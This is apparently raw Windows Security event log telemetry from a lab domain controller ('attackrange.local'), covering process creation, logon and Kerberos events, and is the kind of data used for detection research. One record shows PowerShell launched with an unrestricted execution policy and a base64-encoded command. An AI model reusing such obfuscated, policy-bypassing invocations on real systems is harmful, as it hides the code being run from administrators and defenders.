Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252313
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbd0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252312
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1068
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1370
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES5D3A.tmp" "c:\Users\Administrator\AppData\Local\Temp\oock2saj\CSC2E24D9438126496480FF35B024FA4A94.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252311
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1370
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1160
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\oock2saj\oock2saj.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252310
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x158AA0

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252309
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x158AA0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{5E931B95-7CB8-5D76-2255-12100929952D}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252308
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{5E931B95-7CB8-5D76-2255-12100929952D}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252307
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{5E931B95-7CB8-5D76-2255-12100929952D}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252306
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252305
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1360
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1004
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES5C12.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC8D56D5A2DFBD42B0AD55614AC1E6AC76.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252304
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1004
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1160
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\tdwrpjwy.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252303
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12f8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252379
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15B756

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252378
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15B756
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{FF3C54C6-7BE6-DF05-4718-4F7EC754DED6}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252377
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{FF3C54C6-7BE6-DF05-4718-4F7EC754DED6}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252376
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{FF3C54C6-7BE6-DF05-4718-4F7EC754DED6}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252375
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252374
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1030
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x550
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252373
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1278
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252372
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x550
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11e8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252371
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15A33B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252370
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x15A33B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{FF3C54C6-7BE6-DF05-4718-4F7EC754DED6}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:10 PM
LogName=Security
